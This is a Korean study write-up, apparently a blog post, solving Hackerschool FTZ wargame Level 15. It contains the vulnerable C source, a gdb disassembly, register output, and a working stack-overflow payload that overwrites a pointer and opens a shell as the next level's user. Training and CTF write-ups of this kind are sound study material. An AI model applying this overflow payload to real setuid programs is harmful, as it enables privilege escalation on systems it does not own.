/ 해당 내용은 공부를 하며 정리한 내용으로 틀린 부분이 있을수도 있습니다. /
해커스쿨(ftz.hackerschool.org:23) 워게임 Level 15번을 풀면서 정리한 내용입니다.
먼저 hint 파일을 보겠습니다.
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
소스를 보면 crap, check, buf순으로 선언이 되었음을 알수 있습니다.
스택이니 buf의 주소가 스택의 가장 윗부분일 것입니다.
해당 문제의 포인트는 버퍼에 0xdeadbeef를 넣고 check 주소를 buf의 주소로 바꾸는 것입니다.
우리가 알아야 할 것 - buf의 주소
그럼 gdb를 통해 알아보겠습니다.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048490 <main+0>: push %ebp
0x08048491 <main+1>: mov %esp,%ebp
0x08048493 <main+3>: sub $0x38,%esp
0x08048496 <main+6>: sub $0x4,%esp
0x08048499 <main+9>: pushl 0x8049664
0x0804849f <main+15>: push $0x2d
0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax
0x080484a4 <main+20>: push %eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add $0x10,%esp
0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax
0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax)
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub $0x8,%esp
0x080484bb <main+43>: push $0xc18
0x080484c0 <main+48>: push $0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add $0x10,%esp
0x080484cd <main+61>: sub $0xc,%esp
0x080484d0 <main+64>: push $0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add $0x10,%esp
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
0x080484df <main+79>: nop
End of assembler dump.
(gdb)
main+6 위치에서 스택 공간이 할당되므로 해당 위치에 break point를 걸고
그때의 register 주소값을 보면 스택의 시작위치를 알 수 있습니다.
[level15@ftz level15]$ gdb -q attackme
(gdb) b *main+6
Breakpoint 1 at 0x8048496
(gdb) r
Starting program: /home/level15/attackme
Breakpoint 1, 0x08048496 in main ()
(gdb) info registers
eax 0x1 1
ecx 0x40151a0c 1075124748
edx 0x8049560 134518112
ebx 0x401541c0 1075134912
esp 0xbffffb00 0xbffffb00
ebp 0xbffffb38 0xbffffb38
esi 0x40015360 1073828704
edi 0xbffffb84 -1073742972
eip 0x8048496 0x8048496
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb)
0xbffffb00가 스택의 시작 위치 입니다. 그럼 공격을 해보도록 하죠.
[level15@ftz level15]$ (python -c "print '\xef\xbe\xad\xde' + 'A'*36 + '\x00\xfb\xff\xbf'";cat) | ./attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)
공격이 성공되었습니다. 실제 이러한 주소는 dumpcode로 메모리를 dump하여 확인하여 보는데 더 정확합니다.
ohara님의 dumpcode.h를 아래에 첨부 합니다.
void printchar(unsigned char c)
{
if(isprint(c))
printf("%c",c);
else
printf(".");
}
void dumpcode(unsigned char *buff, int len)
{
int i;
for(i=0;i<len;i++)
{
if(i%16==0)
printf("0x%08x ",&buff[i]);
printf("%02x ",buff[i]);
if(i%16-15==0)
{
int j;
printf(" ");
for(j=i-15;j<=i;j++)
printchar(buff[j]);
printf("\n");
}
}
if(i%16!=0)
{
int j;
int spaces=(len-i+16-i%16)*3+2;
for(j=0;j<spaces;j++)
printf(" ");
for(j=i-i%16;j<len;j++)
printchar(buff[j]);
}
printf("\n");
}